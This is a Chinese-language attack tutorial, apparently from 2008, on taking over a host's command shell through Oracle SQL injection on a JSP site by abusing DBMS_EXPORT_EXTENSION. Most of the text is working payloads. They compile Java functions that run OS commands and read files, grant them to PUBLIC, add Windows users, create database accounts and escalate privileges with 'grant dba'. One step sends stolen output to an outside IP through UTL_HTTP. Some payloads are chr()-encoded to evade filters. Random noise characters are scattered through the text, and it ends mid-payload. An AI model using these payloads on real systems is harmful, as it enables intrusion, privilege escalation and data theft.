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0 b$ X0 T! t4 q/ @介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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3 s# G2 {% \+ |+ M. V1 S# A以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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7 _% s) ~$ \2 ?/ I4 ]的形式即可。(用" 'a'|| "是为了让语句返回true值)
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语句有点长,可能要用post提交。; s6 M7 L# Y- ~5 C' ^
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以下是各个步骤:. R; Q; g6 R" h$ r6 b5 B) m' K. q
8 p$ R5 w" \7 j$ U1.创建包/ ?) D+ U& Z! C$ p0 g, R* Q0 j
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:& M& [" |& G# e0 Q
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/xxx.jsp?id=1 and '1'<>'a'||(
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9 A3 R& j3 [' C* oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 H/ t! u* V; e0 |( d6 Vcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(! |+ Y0 O* m! F
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}8 g7 \( {0 @/ P2 m& p" ]$ ?
}'''';END;'';END;--','SYS',0,'1',0) from dual6 \& _' O$ A0 p8 {0 J9 i+ H
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* @: n0 L4 q5 ^8 s. K2 I. b, i( H------------------------
, X3 j/ m3 r) T如果url有长度限制,可以把readFile()函数块去掉,即:" u$ C5 ~1 |" Y
/xxx.jsp?id=1 and '1'<>'a'||(
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5 C# B, Z) Y8 mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- P4 U. `% z) ^create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
4 Y/ h& e7 O2 y# v9 v6 {$ x0 Z5 [new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
) f2 M, {( K# F* l4 a- g# S& q}'''';END;'';END;--','SYS',0,'1',0) from dual
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3 r7 v J& @' H. t8 w7 b- r5 B同时把后面步骤 提到的 对readFile()的处理语句去掉。
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9 x% d* \8 C* o2.赋Java权限0 T4 J1 e, m- i
# R. D2 d, e- b5 iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual7 v; ^7 K2 f1 P8 W2 [
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2 x/ h# O$ ?$ C) e: k$ [3.创建函数
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 `$ e1 h3 Z7 Z9 W! {, ~( M' o6 `
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual7 H/ M8 {0 n. f
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# c* H+ m: O7 ncreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限
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/ ]; o9 Y Q/ W0 L% P/ |5 cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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9 m! Q/ J# x: ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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5.测试上面的几步是否成功0 x. ?" \* N; V1 n$ @
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and '1'<>'11'||(
; ]3 a# v* x# Lselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'- B, H. o" V# [5 k: @
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and '1'<>(" `# E# E9 a$ _& ^5 h
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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" o" A r. a9 x! m, u; i* E6.执行命令:
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# p* a; X( d5 O: m9 K* a; h; a3 O4 u/xxx.jsp?id=1 and '1'<>(
, s7 G& k, c# mselect sys.LinxRunCMD('cmd /c net user linx /add') from dual6 m- c( H' p, e8 u3 r, B; O
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/xxx.jsp?id=1 and '1'<>(4 h1 F' p2 a1 j* C" V
select sys.LinxReadFile('c:/boot.ini') from dual
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。3 W- ~" U3 g( ?; D$ ?
如果要查看运行结果可以用 union :1 h; g4 ?- }5 c3 R5 _
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual0 z; z9 _; H& L" o2 s0 N0 e+ j' C
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或者UTL_HTTP.request(:
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`7 }7 h4 g2 fSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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/xxx.jsp?id=1 and '1'<>(
0 |# O% a) K8 S8 ASELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual0 S" ^. E" ?6 M) C1 ?. t
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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' N" L3 `6 T+ j5 R6 O--------------------3 ~3 t4 g( f/ P$ i
: j+ R# C, G, D7 B9 B0 ~0 t) n4 i6.内部变化
3 w4 ^: `. w8 V/ z0 a; O通过以下命令可以查看all_objects表达改变:
3 L+ @- A0 W/ iselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数
1 i; @5 G. T- M7 K6 wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# W4 O- r% y1 }drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
9 M6 q' S; f. f全文结束。谨以此文赠与我的朋友。
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3 b$ A- _' t9 ?0 m; `9 O( P, ?$ v2008.1.120 f! ]& |# v4 A- Y, _
linyujian@bjfu.edu.cn9 t- B4 M/ a; N+ _# k' s% h9 w
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======================================================================
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+ \ X/ q" z1 r7 b4 V& s* Q4 s3 l' P% o测试漏洞的另一方法:8 M- {) R2 G5 v& ?% b6 U; l
/ N0 T; G! [3 f创建oracle帐号:& R& P4 {$ U% d" F: j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 M2 \0 e9 m+ m3 ^& Y
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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" C/ [8 ~9 J8 d即:
: ^8 E! O0 I- F2 D' ~: bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
/ k' g1 q& o/ @ u0 F! Bchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual Y$ a# A$ v1 l6 @
& w8 Y( h; F% F6 t$ r+ u* g0 _确定漏洞存在:
: J4 x% X( t0 F. v" V1<>(
2 n6 f# ~- [ Lselect user_id from all_users where username='LINXSQL'* z& x2 E9 _" M& R
)
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) h# `5 B3 C. W9 w' N给linxsql连接权限:
0 Y" p+ \% C" q# h4 k: ]/ T. A( z5 I$ dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 S% h* H& U, R0 SGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual( y, c2 \& A `1 x2 Z
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删除帐号:* E3 [' A/ z9 X3 U$ u$ ~4 F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ z- {2 M& a& @0 M0 Odrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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1.jsp?id=1 and '1'<>(
Z/ r; T A( D, Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 E/ {. k) H% j2 _8 _) ]+ a
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
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7 v) o9 F8 i; T1.jsp?id=1 and '1'<>($ g! M/ B, y9 H: @6 p, l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual# E2 g0 r8 R1 E! w# s9 @
) and ...
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1.jsp?id=1 and '1'<>(
! c) _9 l# |! a7 ~5 VSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL. j% N' m1 A8 J7 Q2 @
) and ...5 d1 ^4 [, _0 w: \) [4 a% ?+ D' }
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& }! [; z. Q/ ]1.jsp?id=1 and '1'<>(* P) Y# z" w( D
SELECT sys.Linx_Query('declare pragma
* E: e. s- d; Sautonomous_transaction; begin execute immediate '': K; c, y# F" Q7 R. Q; v: M
select 1 from dual& o' a! l- T. F ~
''; commit; end;') from dual7 [4 |+ g+ j8 p
) and ...0 q$ ? X" g% K
$ [' g! \' v3 P! \多语句:9 K% [8 \' j. C
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual1 J1 e5 [* v+ N
8 e2 y x+ M5 {0 _* a创建用户(除非当前用户有system权限,否则无法成功):
2 a" R# M+ l5 Y# Z/ ^. lSELECT sys.Linx_Query('declare pragma
5 r- C3 g1 N7 o) Yautonomous_transaction; begin execute immediate ''
3 y6 E" Q5 j& J7 G, b7 Z+ oCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User; ]3 w7 h7 `+ J. i( L: e
''; commit; end;') from dual3 B, _- |0 J+ j4 f/ k0 l, _2 }
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================- \% j1 l3 `/ j1 ~
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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6 U, Y2 H3 l% x' D+ |$ Y# S1.创建函数+ E. e$ j! K8 d6 _% h# I+ B& ]# W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 j2 b! t$ |# h p {9 @6 pcreate or replace function Linx_Query (p" _" ^( q* p: V7 t# R4 d
varchar2) return number authid current_user is begin execute immediate
* k' B/ l9 U9 Np; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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如果有权限,以下语句应该允许正常
5 x: H7 g* E% Y* T3 T# S8 g- I3 rselect sys.linx_query('select 1 from dual') from dual;; N' ?: C- x& q2 y q
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不然的话运行:4 {4 M, `- f0 R O& q" y
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, h( N. h- G; E+ Ggrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual( d. w6 u$ Y( \4 f
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# d) d6 O$ T0 r2 |* p; {* d2.创建包
0 B0 K9 ?$ X) J# m0 ~SELECT sys.Linx_Query('declare pragma$ s: ~+ L) g+ R8 A9 M8 r) A
autonomous_transaction; begin execute immediate ''$ J( [ U+ q* T7 Q: |0 _: Y5 z( d
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
+ b( [" E/ o4 }- F4 |) ^2 ?new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
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F9 h l4 {0 J4 g9 v0 ~3.创建函数
8 |: H% `1 P4 ISELECT sys.Linx_Query('declare pragma
6 |; P) Z: }1 [8 y. o( s. Tautonomous_transaction; begin execute immediate ''% t) q: v; S0 t0 ~. J% e* Z. c
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
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2 U7 {2 x7 e) x8 }' o, c# Y. a* r4.给权限% F3 J) E$ C% a+ o- t ^. T) J; S
给用户SYSTEM执行权限:
% W7 g% W: v, E- D1 I7 p6 w% ^1 C' Y5 N5 X
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual. V9 i* L+ b) n$ g
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5.执行函数
4 R. t" G* D8 J" Q# Cselect RunCMD2('cmd /c dir') from dual
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================================
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以下是各个步骤:7 b! y7 l/ a0 X( d2 a4 d
Y* M# p- R5 F+ L8 ^- j1.创建包
, k! v T' f& X: x% ] A" d通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
`$ x4 Q5 ]: H& y# z' P因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:( H0 Y, J5 |! }" Y+ l, C9 h! X
0 Q0 H& k; c! }5 @, w5 J/ q/xxx.jsp?id=1 and chr(49)<>chr(50)||(" d. Z8 ~6 r: P- N8 }: S. Q( o
; R* M/ G( V9 Z# s$ j2 a1 Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
! {3 z% j' \+ Y5 {# Z3 Z) Pchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
7 u; Z; Z! |" F; h6 D4 L# kchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
3 T' V3 y- H; R6 [chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
6 Q# T' @/ K+ {1 Q, H3 ychr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||* j p6 ~! l. W" G. l
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
& @8 r% U: Z/ ^; Nchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||( n& Q0 ?/ X- d" H) d$ r% n
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
% h( M5 ~# ^8 H# s1 I' {3 H) {chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
3 }) A& v4 r* b9 ?- lchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
' [' F3 f* h7 l7 Q5 }chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
& @, q& j! m2 ^7 s' {4 Xchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||: y5 _' n$ v3 U; `2 q$ s! a
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
8 I; A# Y. e" Z( ]9 L- }0 h% ochr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
- ]3 A1 y' N- v; V2 qchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
6 u2 S2 K1 E% ~) G% }3 Fchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
- G+ n+ K& i0 O" R9 Y2 k4 Mchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
7 F4 @' A/ I: Q' X* `! |chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
/ x* D$ |1 ]+ Q5 X3 W7 q$ E ?chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
2 f1 W o0 _0 f3 T0 }6 t$ achr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||$ x. I/ q$ J7 [8 I3 t4 N7 Y
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
. N. H0 d! P9 Uchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
; T3 x* ?) f- tchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
$ e' o* q+ H! b: P+ D9 z3 {chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
. }/ a9 x. m5 {5 L3 U- pchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||: ?2 r: S9 k% l ^; P
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||/ e& J5 D* P) q+ {& ^# w. [
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
